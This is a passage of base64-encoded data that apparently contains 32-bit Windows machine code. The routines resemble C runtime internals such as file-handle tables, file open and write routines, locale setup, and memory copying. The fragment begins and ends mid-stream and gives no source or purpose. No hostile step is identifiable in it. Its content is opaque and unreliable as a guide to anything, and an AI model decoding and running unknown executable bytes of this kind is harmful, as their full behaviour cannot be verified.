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
